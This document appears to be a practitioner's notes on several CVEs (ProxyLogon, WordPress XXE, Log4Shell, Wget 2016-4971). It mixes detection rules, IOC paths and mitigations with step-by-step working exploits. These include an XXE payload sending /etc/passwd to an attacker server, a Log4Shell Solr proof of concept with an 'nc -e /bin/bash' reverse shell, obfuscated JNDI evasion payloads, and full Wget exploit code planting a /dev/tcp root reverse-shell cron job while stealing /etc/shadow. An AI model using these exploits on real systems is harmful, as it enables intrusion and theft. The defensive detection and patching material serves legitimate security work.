Microsoft CVE-2021-26855 in on-premise Microsoft Exchange server"

Checking if the server is compromised automatically
#Download the test-proxylogon from github
#Launch the command promopt and type the below command to launch exchange management shell

```
<C:\LaunchEMS>
```

#Then launch the below command to start running the tool

```
<Get-ExchangeServer | .\Test-ProxyLogon.ps1 -OutPath $home\desktop\logs>
```

#Testing the local server only

```
<C:.\Test-ProxyLogon.ps1 -OutPath $home\desktop\logs>
```

Checking if the server is compromised manually
#Look in the following paths

```
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\8Lw7tAhF9i1pJnRo.aspx
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\OutlookZH.aspx
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\authhead.aspx
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\bob.aspx
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\current\one1.aspx
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\errorPage.aspx
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\errorPages.aspx
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\fatal-erro.aspx
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\log.aspx
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\logg.aspx
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\logout.aspx
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\one.aspx
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\one1.aspx
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\shel.aspx
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\shel2.aspx
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\shel90.aspx
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\a.aspx
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\default.aspx
C:\inetpub\wwwroot\aspnet_client\shell.aspx
C:\inetpub\wwwroot\aspnet_client\Server.aspx
C:\inetpub\wwwroot\aspnet_client\aspnet_client.aspx
C:\inetpub\wwwroot\aspnet_client\aspnet_iisstart.aspx
C:\inetpub\wwwroot\aspnet_client\aspnet_pages.aspx
C:\inetpub\wwwroot\aspnet_client\aspnet_www.aspx
C:\inetpub\wwwroot\aspnet_client\default1.aspx
C:\inetpub\wwwroot\aspnet_client\errorcheck.aspx
```

```
C:\inetpub\wwwroot\aspnet_client\iispage.aspx
C:\inetpub\wwwroot\aspnet_client\s.aspx
C:\inetpub\wwwroot\aspnet_client\session.aspx
C:\inetpub\wwwroot\aspnet_client\shell.aspx
C:\inetpub\wwwroot\aspnet_client\system_web\log.aspx
C:\inetpub\wwwroot\aspnet_client\xclkmcfldfi948398430fdjkfdkj.aspx
C:\inetpub\wwwroot\aspnet_client\xx.aspx
C:\inetpub\wwwroot\aspnet_client\Server.aspx
C:\inetpub\wwwroot\aspnet_client\discover.aspx
C:\inetpub\wwwroot\aspnet_client\HttpProxy.aspx
C:\inetpub\wwwroot\aspnet_client\OutlookEN.aspx
C:\inetpub\wwwroot\aspnet_client\supp0rt.aspx
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\OAB\log.aspx
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\log.aspx
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\logg.aspx
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\logout.aspx
```

Patching the vulnerability

#Look in the below link for a list of patches and updates

```
https://techcommunity.microsoft.com/t5/exchange-team-blog/released-march-2021-exchange-server-security-updates/ba-p/2175901
```

Temporary Mitigations

#Download the mitigation script below

```
https://github.com/microsoft/CSS-Exchange/releases/latest/download/ExchangeMitigations.ps1
```

#Run the script

```
<.\ExchangeMitigations.ps1 -WebSiteNames "Default Web Site" -ApplyAllMitigations -Verbose>
```

How to test if your client is vulnerable without accessing their environments

#Download the below nmap script and store it in /usr/share/nmap/scripts/

```
https://github.com/microsoft/CSS-Exchange/releases/latest/download/http-vuln-cve2021-26855.nse
```

```
<nmap -sV -A [target-ip] --script=http-vuln-cve2021-26855.nse>
```

#Full Details about IOCs, mitigation and patching can be found below

```
*https://github.com/microsoft/CSS-Exchange/tree/main/Security*
```

CVE 2021-24175 in Elementor Plus Addons <= 4.1.6

#Checking for IOCs
#Check for new registered users with email addresses as their username
#Check for new plugins labeled wih 'wpstaff'
Mitigation and Patching
#Delete the plugin or deactivate it if you are unable to update
#Best practice is to update the plugin.

Wordpress: CVE-2021-29447

Impact

Arbitrary File Disclosure: The contents of any file on the host's file system could be retrieved, e.g. wp-config.php which contains sensitive data such as database credentials.
Server-Side Request Forgery (SSRF): HTTP requests could be made on behalf of the WordPress installation. Depending on the environment, this can have a serious impact.

Requirements

Authenticated access to wordpress
Permissions to upload to the media library

Exploitation

Create a poc.wav file with the below content. Remember to put your ip and port below.

```
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM """"http://YOURSEVERIP:PORT/poc.dtd"""">%remote;%init;%trick;]>\x00' > payload.wav
```

Create poc.dtd with the content below.Remember to put your ip and port below.

```
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://YOURSERVERIP:PORT/?p=%file;'>" >
```

Give poc.wav execute permissions and run it

```
chmod +x poc.wav
/poc.wav
```

This will create a file called payload.wav
Fire a web server and host both poc.dtd and poc.wav in it

```
php -S 0.0.0.0:PORT
```

Upload payload.wav to the media library. This will fetch the poc.dtd which in turn will retrieve the content of /etc/passwd encoded in base64
You should have the base64 encoded string appear in the web server interactive log in your command line
To decode the returned base64, create a file named decode.php with below content

```
<?php echo zlib_decode(base64_decode('base64here')); ?>
```

Be sure to replace ['base64here'] with the base64 you received. You will decode the string and retrieve the content of the /etc/passwd.
Now you can replace [/etc/passwd] in the dtd file to any file you want to see the content of such as wp-config.php.

Log4j Vulnerability CVE-2021-44228

Affected versions

```
Apache Log4j2 < 2.15.0
```

Attack surface and affected products

```
https://github.com/YfryTchsGD/Log4jAttackSurface
https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592
```

Detection

It depends on the product which is using the log4j logging package. See affected products in the link above. I will try to list as many examples as I can for each product.

Detection using Yara rules.

Find details on that using the below repo.

```
https://github.com/darkarnium/CVE-2021-44228
```

Using powershell

```
https://github.com/omrsafetyo/PowerShellSnippets/blob/master/Invoke-Log4ShellScan.ps1
```

By comparing hashes of vulnerable log4j class files

```
https://github.com/nccgroup/Cyber-Defence/tree/master/Intelligence/CVE-2021-44228

https://gist.github.com/olliencc/8be866ae94b6bee107e3755fd1e9bf0d
```

By comparing hashes of vulnerable log4j jar files

```
https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes
```

Using a python tool against any running HTTP Server

```
https://gist.github.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6
```

Using a scanner written in Go

```
https://github.com/hillu/local-log4j-vuln-scanner
```

Using BurpSuite

```
https://github.com/silentsignal/burp-log4shell
```

Using Nmap scripting engine

```
https://github.com/Diverto/nse-log4shell
```

Using Splunk

Detect scanning

The below query takes into consideration that the [user-agent] field where the payload is injected.

```
sourcetype=bro:http:json user_agent=${jndi:*}
| stats sparkline values(user_agent) count by src_ip, dest_ip, dest_port
```

Additionally, we can search for the string generally

```
index=* ${jndi:*}
```

Using Suricata IDS

Detecting exploitation attempts.

```
alert http any any -> $HOME_NET any (msg:"FOX-SRT – Exploit – Possible Apache Log4J RCE Request Observed (CVE-2021-44228)"; flow:established, to_server; content:"${jndi:ldap://"; fast_pattern:only; flowbits:set, fox.apachelog4j.rce; threshold:type limit, track by_dst, count 1, seconds 3600; classtype:web-application-attack; priority:3; reference:url, [http://www.lunasec.io/docs/blog/log4j-zero-day/](http://www.lunasec.io/docs/blog/log4j-zero-day/); metadata:CVE 2021-44228; metadata:created_at 2021-12-10; metadata:ids suricata; sid:21003726; rev:1;)

alert http any any -> $HOME_NET any (msg:"FOX-SRT – Exploit – Possible Apache Log4J RCE Request Observed (CVE-2021-44228)"; flow:established, to_server; content:"${jndi:"; fast_pattern; pcre:"/\$\{jndi\:(rmi|ldaps|dns)\:/"; flowbits:set, fox.apachelog4j.rce; threshold:type limit, track by_dst, count 1, seconds 3600; classtype:web-application-attack; priority:3; reference:url, [http://www.lunasec.io/docs/blog/log4j-zero-day/](http://www.lunasec.io/docs/blog/log4j-zero-day/); metadata:CVE 2021-44228; metadata:created_at 2021-12-10; metadata:ids suricata; sid:21003728; rev:1;)

alert http any any -> $HOME_NET any (msg:"FOX-SRT – Exploit – Possible Defense-Evasive Apache Log4J RCE Request Observed (CVE-2021-44228)"; flow:established, to_server; content:"${jndi:"; fast_pattern; content:!"ldap://"; flowbits:set, fox.apachelog4j.rce; threshold:type limit, track by_dst, count 1, seconds 3600; classtype:web-application-attack; priority:3; reference:url, [http://www.lunasec.io/docs/blog/log4j-zero-day/](http://www.lunasec.io/docs/blog/log4j-zero-day/); reference:url, twitter.com/stereotype32/status/1469313856229228544; metadata:CVE 2021-44228; metadata:created_at 2021-12-10; metadata:ids suricata; sid:21003730; rev:1;)


alert http any any -> $HOME_NET any (msg:"FOX-SRT – Exploit – Possible Defense-Evasive Apache Log4J RCE Request Observed (URL encoded bracket) (CVE-2021-44228)"; flow:established, to_server; content:"%7bjndi:"; nocase; fast_pattern; flowbits:set, fox.apachelog4j.rce; threshold:type limit, track by_dst, count 1, seconds 3600; classtype:web-application-attack; priority:3; reference:url, [http://www.lunasec.io/docs/blog/log4j-zero-day/](http://www.lunasec.io/docs/blog/log4j-zero-day/); reference:url, [https://twitter.com/testanull/status/1469549425521348609](https://twitter.com/testanull/status/1469549425521348609); metadata:CVE 2021-44228; metadata:created_at 2021-12-11; metadata:ids suricata; sid:21003731; rev:1;)


alert http any any -> $HOME_NET any (msg:"FOX-SRT – Exploit – Possible Apache Log4j Exploit Attempt in HTTP Header"; flow:established, to_server; content:"${"; http_header; fast_pattern; content:"}"; http_header; distance:0; flowbits:set, fox.apachelog4j.rce.loose; classtype:web-application-attack; priority:3; threshold:type limit, track by_dst, count 1, seconds 3600; reference:url, [http://www.lunasec.io/docs/blog/log4j-zero-day/](http://www.lunasec.io/docs/blog/log4j-zero-day/); reference:url, [https://twitter.com/testanull/status/1469549425521348609](https://twitter.com/testanull/status/1469549425521348609); metadata:CVE 2021-44228; metadata:created_at 2021-12-11; metadata:ids suricata; sid:21003732; rev:1;)

alert http any any -> $HOME_NET any (msg:"FOX-SRT – Exploit – Possible Apache Log4j Exploit Attempt in URI"; flow:established,to_server; content:"${"; http_uri; fast_pattern; content:"}"; http_uri; distance:0; flowbits:set, fox.apachelog4j.rce.loose; classtype:web-application-attack; priority:3; threshold:type limit, track by_dst, count 1, seconds 3600; reference:url, [http://www.lunasec.io/docs/blog/log4j-zero-day/](http://www.lunasec.io/docs/blog/log4j-zero-day/);
```

```
reference:url, [https://twitter.com/testanull/status/1469549425521348609]
(https://twitter.com/testanull/status/1469549425521348609); metadata:CVE 2021-44228;
metadata:created_at 2021-12-11; metadata:ids suricata; sid:21003733; rev:1;)

# Better and stricter rules, also detects evasion techniquesalert http any any -> $HOME_NET any
(msg:"FOX-SRT – Exploit – Possible Apache Log4j Exploit Attempt in HTTP Header (strict)";
flow:established,to_server; content:"${"; http_header; fast_pattern; content:"}"; http_header; distance:0;
pcre:/(\$\{\w+:.*\}|jndi)/Hi; xbits:set, fox.log4shell.attempt, track ip_dst, expire 1; threshold:type limit,
track by_dst, count 1, seconds 3600; classtype:web-application-attack;
reference:url,www.lunasec.io/docs/blog/log4j-zero-day/; reference:url,
[https://twitter.com/testanull/status/1469549425521348609]
(https://twitter.com/testanull/status/1469549425521348609); metadata:CVE 2021-44228;
metadata:created_at 2021-12-11; metadata:ids suricata; priority:3; sid:21003734; rev:1;)


alert http any any -> $HOME_NET any (msg:"FOX-SRT – Exploit – Possible Apache Log4j Exploit
Attempt in URI (strict)"; flow:established, to_server; content:"${"; http_uri; fast_pattern; content:"}";
http_uri; distance:0; pcre:/(\$\{\w+:.*\}|jndi)/Ui; xbits:set, fox.log4shell.attempt, track ip_dst, expire 1;
classtype:web-application-attack; threshold:type limit, track by_dst, count 1, seconds 3600;
reference:url,www.lunasec.io/docs/blog/log4j-zero-day/; reference:url,
[https://twitter.com/testanull/status/1469549425521348609]
(https://twitter.com/testanull/status/1469549425521348609); metadata:CVE 2021-44228;
metadata:created_at 2021-12-11; metadata:ids suricata; priority:3; sid:21003735; rev:1;)


alert http any any -> $HOME_NET any (msg:"FOX-SRT – Exploit – Possible Apache Log4j Exploit
Attempt in Client Body (strict)"; flow:to_server; content:"${"; http_client_body; fast_pattern; content:"}";
http_client_body; distance:0; pcre:/(\$\{\w+:.*\}|jndi)/Pi; flowbits:set, fox.apachelog4j.rce.strict;
xbits:set,fox.log4shell.attempt,track ip_dst,expire 1; classtype:web-application-attack; threshold:type
limit, track by_dst, count 1, seconds 3600; reference:url,www.lunasec.io/docs/blog/log4j-zero-day/;
reference:url,[https://twitter.com/testanull/status/1469549425521348609]
(https://twitter.com/testanull/status/1469549425521348609); metadata:CVE 2021-44228;
metadata:created_at 2021-12-12; metadata:ids suricata; priority:3; sid:21003744; rev:1;)
```

Detecting scanning attempts

```
# Possible successful interactsh probe alert http $EXTERNAL_NET any -> $HOME_NET any
(msg:"FOX-SRT – Webattack – Possible successful InteractSh probe observed"; flow:established,
to_client; content:"200"; http_stat_code; content:"<html><head></head><body>"; http_server_body;
fast_pattern; pcre:"/[a-z0-9]{30,36}<\/body><\/html>/QR"; threshold:type limit, track by_dst, count 1,
seconds 3600; classtype:misc-attack; reference:url, github.com/projectdiscovery/interactsh;
metadata:created_at 2021-12-05; metadata:ids suricata; priority:2; sid:21003712; rev:1;)


alert dns $HOME_NET any -> any 53 (msg:"FOX-SRT – Suspicious – DNS query for interactsh.com
server observed"; flow:stateless; dns_query; content:".interactsh.com"; fast_pattern; pcre:"/[a-z0-9]
{30,36}\.interactsh\.com/"; threshold:type limit, track by_src, count 1, seconds 3600; reference:url,
github.com/projectdiscovery/interactsh; classtype:bad-unknown; metadata:created_at 2021-12-05;
metadata:ids suricata; priority:2; sid:21003713; rev:1;)


# Detecting DNS queries for dnslog[.]cn alert dns any any -> any 53 (msg:"FOX-SRT – Suspicious –
dnslog.cn DNS Query Observed"; flow:stateless; dns_query; content:"dnslog.cn"; fast_pattern:only;
threshold:type limit, track by_src, count 1, seconds 3600; classtype:bad-unknown; metadata:created_at
2021-12-10; metadata:ids suricata; priority:2; sid:21003729; rev:1;)
```

```
# Connections to requestbin.net alert dns $HOME_NET any -> any 53 (msg:"FOX-SRT – Suspicious – requestbin.net DNS Query Observed"; flow:stateless; dns_query; content:"requestbin.net"; fast_pattern:only; threshold:type limit, track by_src, count 1, seconds 3600; classtype:bad-unknown; metadata:created_at 2021-11-23; metadata:ids suricata; sid:21003685; rev:1;)


alert tls $HOME_NET any -> $EXTERNAL_NET 443 (msg:"FOX-SRT – Suspicious – requestbin.net in SNI Observed"; flow:established, to_server; tls_sni; content:"requestbin.net"; fast_pattern:only; threshold:type limit, track by_src, count 1, seconds 3600; classtype:bad-unknown; metadata:created_at 2021-11-23; metadata:ids suricata; sid:21003686; rev:1;)
```

Detecting exploitation attempts

```
# Detects possible successful exploitation of Log4j# JNDI LDAP/RMI Request to External alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"FOX-SRT – Exploit – Possible Rogue JNDI LDAP Bind to External Observed (CVE-2021-44228)"; flow:established, to_server; dsize:14; content:"|02 01 03 04 00 80 00|"; offset:7; isdataat:!1, relative; threshold:type limit, track by_src, count 1, seconds 3600; classtype:bad-unknown; priority:1;
metadata:created_at 2021-12-11; sid:21003738; rev:2;)

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"FOX-SRT – Exploit – Possible Rogue JRMI Request to External Observed (CVE-2021-44228)"; flow:established, to_server; content:"JRMI"; depth:4; threshold:type limit, track by_src, count 1, seconds 3600; classtype:bad-unknown; priority:1; reference:url, [https://docs.oracle.com/javase/9/docs/specs/rmi/protocol.html] (https://docs.oracle.com/javase/9/docs/specs/rmi/protocol.html); metadata:created_at 2021-12-11; sid:21003739; rev:1;)


# Detecting inbound java shortly after exploitation attempt alert tcp any any -> $HOME_NET any (msg: "FOX-SRT – Exploit – Java class inbound after CVE-2021-44228 exploit attempt (xbit)"; flow:established, to_client; content: "|CA FE BA BE 00 00 00|"; depth:40; fast_pattern; xbits:isset, fox.log4shell.attempt, track ip_dst; threshold:type limit, track by_dst, count 1, seconds 3600; classtype:successful-user; priority:1; metadata:ids suricata; metadata:created_at 2021-12-12; sid:21003741; rev:1;)
```

Apache solr

In apache solr, the log files are stored in the below location

```
/var/solr/logs
```

And if you visit the admin page of apache solr of your installation you will see that

```
-Dsolr.log.dir = /var/solr/logs
```

This indicates where logs are saved. Attackers payloads appear in a log file named [solr.log]. If you opened the file and noticed lines similar to the below ones then it means attackers are trying to exploit it

```
2021-12-14 07:55:06.155 INFO  (qtp1008315045-21) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={foo=${jndi:ldap://10.10.118.124:4545}} status=0 QTime=0

2021-12-14 07:55:45.868 INFO  (qtp1008315045-18) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0

2021-12-14 07:56:33.501 INFO  (qtp1008315045-18) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={foo=${jndi:ldap://10.10.118.124:4545}} status=0 QTime=0

2021-12-14 07:57:31.728 INFO  (qtp1008315045-19) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={foo=${jndi:ldap://10.10.166.62:4545}} status=0 QTime=0

2021-12-14 07:58:17.003 INFO  (qtp1008315045-14) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0

2021-12-14 08:12:47.288 INFO  (qtp1008315045-19) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={foo=${jndi:ldap://10.10.166.62:1389/Exploit}} status=0 QTime=1

2021-12-14 08:14:02.628 INFO  (qtp1008315045-23) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={foo=${jndi:ldap://10.10.166.62:1389/Exploit}} status=0 QTime=0

2021-12-14 08:17:34.503 INFO  (qtp1008315045-17) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={foo=${jndi:ldap://10.10.166.62:1389/Exploit}} status=0 QTime=0
```

As you can see requests go to [/solr/admin/cores] followed by a parameter that uses the [jndi] to communicate via [ldap] with the attacker [LDAP referral server].

POC

Apache solr POC

Step one: Installing Java [1.8.0_181] on your machine.
This is done by downloading the package from below URL

```
http://mirrors.rootpei.com/jdk/
file: jdk-8u181-linux-x64.tar.gz
```

Step two: Installation
Apply the below command so that your OS uses this java version.

```
sudo mkdir /usr/lib/jvm

cd /usr/lib/jvm

sudo tar xzvf ~/Downloads/jdk-8u181-linux-x64.tar.gz

sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_181/bin/java" 1

sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_181/bin/javac" 1
```

```
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/lib/jvm/jdk1.8.0_181/bin/javaws" 1

sudo update-alternatives --set java /usr/lib/jvm/jdk1.8.0_181/bin/java

sudo update-alternatives --set javac /usr/lib/jvm/jdk1.8.0_181/bin/javac

sudo update-alternatives --set javaws /usr/lib/jvm/jdk1.8.0_181/bin/javaws
```

Step three: Installing the [marshalsec] utility so you can host an [ldap server] that redirects requests to your web server that will host the payload

```
git clone https://github.com/mbechler/marshalsec
sudo apt install maven
mvn clean package -DskipTests
```

Step four: Starting the [LDAP server]

```
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-ip:8000/#Log4j"
```

Step five: preparing a [java reverse shell] and hosting it in the web server. Below is a simple java reverse shell code

```
public class Exploit { static { try { java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999"); } catch (Exception e) { e.printStackTrace(); } } }
```

Save it as [Log4j.java] and compile it like below

```
javac Log4j.java
```

Step six: hosting your payload and starting your listener

```
python3 -m http.server
```

and start the listener

```
nc -lnvp 4545
```

Step seven: sending the exploit

```
curl 'http://target-ip:8983/solr/admin/cores?foo=$\{jndi:ldap://your-ip:1389/Log4j\}'
```

Encoding the payload

You may need to test your firewall or IDS for detection of the above payload. You can also use various forms of the above payload for further testing your security devices in catching and spotting the exploit.

```
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-
l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}

${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}

${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}

${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-
l}dap${env:BARFOO:-:}//attackerendpoint.com/}

${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}

${${::-j}ndi:rmi://attackerendpoint.com/}
```

Mitigation

Set either of the below properties to [true]

```
log4j2.formatMsgNoLookups
LOG4J_FORMAT_MSG_NO_LOOKUPS
```

Or simply delete [JndiLookup.class] for any version.

Apache solr

Navigate to the below file

```
/etc/default/solr.in.sh
```

add the below syntax to the end of the file

```
SOLR_OPTS="$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true"
```

and restart

```
sudo /etc/init.d/solr restart
```

AWS WAF

In Amazon, navigate to Web ACLs > WAF and enable

```
AWS-AWSManagedRulesKnownBadInputsRuleSet
```

Patching

The Log4j logging package should be updated and patched to version [2.15.0rc2] or [2.16.0]

```
https://logging.apache.org/log4j/2.x/download.html
```

Patching tools

```
https://github.com/corretto/hotpatch-for-apache-log4j2
https://github.com/apache/logging-log4j2
https://github.com/nccgroup/log4j-jndi-be-gone
```

Wget exploit CVE-2016-4971

Exploit link

```
https://www.exploit-db.com/exploits/40064
```

Exploit code

```
#!/usr/bin/env python

#
# Wget 1.18 < Arbitrary File Upload Exploit
# Dawid Golunski
# dawid( at )legalhackers.com
#
# http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt
#
# CVE-2016-4971
#

import SimpleHTTPServer
import SocketServer
import socket;

class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler):
  def do_GET(self):
      # This takes care of sending .wgetrc

      print "We have a volunteer requesting " + self.path + " by GET :)\n"
      if "Wget" not in self.headers.getheader('User-Agent'):
        print "But it's not a Wget :( \n"
        self.send_response(200)
        self.end_headers()
        self.wfile.write("Nothing to see here...")
```

```
        return

      print "Uploading .wgetrc via ftp redirect vuln. It should land in /root \n"
      self.send_response(301)
      new_path = '%s'%('ftp://anonymous@%s:%s/.wgetrc'%(FTP_HOST, FTP_PORT) )
      print "Sending redirect to %s \n"%(new_path)
      self.send_header('Location', new_path)
      self.end_headers()

  def do_POST(self):
      # In here we will receive extracted file and install a PoC cronjob

      print "We have a volunteer requesting " + self.path + " by POST :)\n"
      if "Wget" not in self.headers.getheader('User-Agent'):
        print "But it's not a Wget :( \n"
        self.send_response(200)
        self.end_headers()
        self.wfile.write("Nothing to see here...")
        return

      content_len = int(self.headers.getheader('content-length', 0))
      post_body = self.rfile.read(content_len)
      print "Received POST from wget, this should be the extracted /etc/shadow file: \n\n---[begin]---\n %s
\n---[eof]---\n\n" % (post_body)

      print "Sending back a cronjob script as a thank-you for the file..."
      print "It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we
injected in the GET first response)"
      self.send_response(200)
      self.send_header('Content-type', 'text/plain')
      self.end_headers()
      self.wfile.write(ROOT_CRON)

      print "\nFile was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) \n"

      return

HTTP_LISTEN_IP = '192.168.57.1' # change this
HTTP_LISTEN_PORT = 80 # change this
FTP_HOST = '192.168.57.1' # change this
FTP_PORT = 21 # change this

ROOT_CRON = "* * * * * root /usr/bin/id > /root/hacked-via-wget \n" # change this

handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)

print "Ready? Is your FTP server running?"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((FTP_HOST, FTP_PORT))
if result == 0:
  print "FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT)
else:
  print "FTP is down :( Exiting."
  exit(1)

print "Serving wget exploit on port %s...\n\n" % HTTP_LISTEN_PORT
```

```
handler.serve_forever()
```

The exploit works when the [wget] version is before [1.18].

Steps of POC

Create a [.wgetrc] config file on your machine and type in the below content

```
post_file = /etc/shadow
output_document = /etc/cron.d/wget-root-shell
```

Create and host the config file with an FTP server using python

```
python -m pyftpdlib -p21 -w
```

This will serve the config file we created [.wgetrc]

Modify certain variables in the exploit code

HTTP_LISTEN_IP = [ip address of the machine that is making the wget requests]

HTTP_LISTEN_PORT = [80]

FTP_HOST = [your-machine-ip]

FTP_PORT = [21]

ROOT_CRON = "* * * * * root -c 'bash -i >& /dev/tcp/your-ip/listener-port 0>&1' \n"

Start a listener on your machine

```
nc -lvp [port-used-in-exploit]
```

Transfer the exploit to the target machine and run it

If you couldn't run the exploit because your user can't issue port bindings then use the below command

```
authbind python exploit.py
```